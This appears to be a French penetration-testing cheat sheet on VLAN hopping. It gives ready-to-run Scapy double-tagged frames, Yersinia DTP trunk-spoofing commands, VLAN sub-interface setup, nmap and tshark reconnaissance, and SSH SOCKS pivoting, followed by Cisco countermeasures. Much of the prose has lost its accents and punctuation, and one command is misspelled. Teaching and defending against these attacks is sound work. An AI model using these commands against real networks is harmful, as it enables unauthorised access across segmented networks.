VLAN Hopping — Double Tagging & Switch Spoofing
Attaques VLAN : double tagging 802.1Q, switch spoofing DTP, contournement de segmentation réseau
Principe du VLAN Hopping
Objectif accder un VLAN cible depuis un VLAN non autorisen contournant la segmentation sans routageDeux techniques1 Double Tagging exploite les switchs qui n'enlèvent qu'un tag 8022 Switch Spoofing se faire passer pour un switch trunk DTP
Technique 1 — Double Tagging (802.1Q)
ConditionLe port de lattaquant est un access port sur le VLAN natif ex VLAN 1Le switch upstream ne retire que le premier tag 802PayloadTrame Ethernet avec 2 tags 802 empilsOuter Tag VLAN 1 natif Inner Tag VLAN {{VICTIM_VLAN}} PayloadFluxAttaquant Switch 1 retire outer tag VLAN 1 Switch 2 voit inner tag VLAN {{VICTIM_VLAN}} VictimeLimitation unidirectionnel les rponses ne reviennent pasUtile pour scan UDP SNMP envoi de paquets broadcast
# Scapy — envoyer une trame double-taggedpython3 << 'EOF'from scapyall import# Attaquant sur VLAN 1 (natif), cible sur VLAN {{VICTIM_VLAN}}# Outer tag = VLAN natif du switch (1), inner tag = VLAN ciblepkt Etherdst"ff:ff:ff:ff:ff:ff"Dot1Qvlan1Dot1Qvlan{{VICTIM_VLAN}}IPdst"{{VICTIM_IP}}"ICMPsendppkt iface"{{INTERFACE}}" count3 verboseTrueEOF
# Double-tagged ARP request vers le VLAN ciblepython3 << 'EOF'from scapyall importpkt Etherdst"ff:ff:ff:ff:ff:ff" srcget_if_hwaddr"{{INTERFACE}}"Dot1Qvlan1Dot1Qvlan{{VICTIM_VLAN}}ARPop1 pdst"{{VICTIM_SUBNET}}"sendppkt iface"{{INTERFACE}}" verboseTrueEOF
Technique 2 — Switch Spoofing (DTP)
ConditionLe port de lattaquant a DTP activ mode dynamic auto ou dynamic desirableLe switch accepte les ngociations DTPFluxAttaquant envoie des trames DTP negocie un trunk accs TOUS les VLANs
# Yersinia — outil d'attaque sur les protocoles de couche 2# Installationapt install yersinia -y# Mode interactifyersinia -I# Ou directement : attaque DTP pour établir un trunkyersinia dtp -attack 1 -interface {{INTERFACE}}# attack 1 = Enabling trunk# Vérifier que le trunk est établiip link show {{INTERFACE}}
# Alternative : créer manuellement des sous-interfaces VLAN (si trunk établi)modprobe# Ajouter les VLANs un par unvconfig add {{INTERFACE}} {{TARGET_VLAN}}ip link set {{INTERFACE}}{{TARGET_VLAN}} updhclient {{INTERFACE}}{{TARGET_VLAN}}ip addr show {{INTERFACE}}{{TARGET_VLAN}}# Ou via iproute2 (moderne)ip link add link {{INTERFACE}} name {{INTERFACE}}{{TARGET_VLAN}} type vlan id {{TARGET_VLAN}}ip link set {{INTERFACE}}{{TARGET_VLAN}} updhclient {{INTERFACE}}{{TARGET_VLAN}}
Reconnaissance VLAN
# Identifier les VLANs depuis les trames CDP (Cisco Discovery Protocol)yersinia cdp -attack 0 -interface {{INTERFACE}}# Capture les annonces CDP → révèle les VLANs voisins# Wireshark / tshark — capturer les trames CDP, DTP, STPtshark -i {{INTERFACE}} -f "ether[12:2] == 0x8100" -V # trames 802.1Qtshark -i {{INTERFACE}} -Y "cdp or dtp or stp"# Détecter le VLAN natif par analyse du trafic# Les trames sans tag 802.1Q = VLAN natif du trunktshark -i {{INTERFACE}} -Y "not vlan" -c 100# Nmap sur un VLAN une fois accessiblenmap -sn {{VLAN_SUBNET}} --send-eth
Pivoting inter-VLAN via VLAN hopping
# Objectif : scanner un VLAN inaccessible via la route normale# 1. Établir le trunk (DTP spoofing)yersinia dtp -attack 1 -interface {{INTERFACE}}# 2. Créer l'interface taguéeip link add link {{INTERFACE}} name vlan{{TARGET_VLAN}} type vlan id {{TARGET_VLAN}}ip link set vlan{{TARGET_VLAN}} updhclient vlan{{TARGET_VLAN}}# 3. Scanner le réseau cible depuis la nouvelle interfacenmap -sV -p 22804434453389 {{TARGET_VLAN_SUBNET}} -e vlan{{TARGET_VLAN}}# 4. Proxy SOCKS via SSH depuis un hôte compromis sur le VLAN ciblessh -D 1080 {{USER}}{{VLAN_PIVOT_HOST}} -N &proxychains nmap -sT -p 80443 {{INTERNAL_TARGET}}
Défense — Contre-mesures VLAN Hopping
Désactiver DTP (switch Cisco)
Sur tous les ports access dsactiver DTPinterface range GigabitEthernet0/1 24switchport mode accessswitchport nonegotiate Dsactive DTP pas de ngociation trunkswitchport access vlan {{ACCESS_VLAN}}switchport nonegoitateSur les ports trunk lgitimes uniquementinterface GigabitEthernet0/48switchport mode trunkswitchport nonegotiate Trunk statique pas de DTPswitchport trunk allowed vlan {{ALLOWED_VLANS}}
Changer le VLAN natif
Ne jamais utiliser VLAN 1 comme natif changer pour un VLAN ddi inutilisinterface GigabitEthernet0/48switchport trunk native vlan {{UNUSED_VLAN_ID}} ex VLAN 999Taguer aussi les trames du VLAN natif contre le double taggingvlan dot1q tag nativeOu globalement sur Cisco IOSvlan dot1q tag native global config
VLAN Access Map (filtrage inter-VLAN)
Crer un VLAN access map pour bloquer le trafic inter-VLAN non autorisvlan access-map BLOCK_CROSS 10action dropmatch ip address ACL_BLOCK_CROSS_VLANvlan filter BLOCK_CROSS vlan-list {{RESTRICTED_VLANS}}
# Vérification : depuis la machine attaquante, DTP ne doit plus fonctionneryersinia dtp -attack 1 -interface {{INTERFACE}}# → Aucun trunk établi si nonegotiate est actif# Vérifier la config DTP sur un switch Ciscoshow interfaces {{INTERFACE}} trunkshow dtp interface {{INTERFACE}}# "Trunking Mode : OFF" ou "nonegotiate" = correct
VLAN 1 est le VLAN natif par défaut sur Cisco. Tous les switchs d'un réseau utilisant VLAN 1 comme natif sont potentiellement vulnérables au double tagging depuis n'importe quel port access dans ce VLAN — même un port de salle de réunion ou une prise murale non utilisée. Changer le VLAN natif pour un VLAN vide (ex: 999) est une mesure de 2 minutes qui élimine ce vecteur.
switchport nonegotiate est la mesure la plus impactante contre le DTP spoofing — elle doit être appliquée sur TOUS les ports access, pas seulement les ports "sensibles". En mode trunk statique, même les ports trunk légitimes devraient l'avoir pour éviter la renégociation forcée par un attaquant.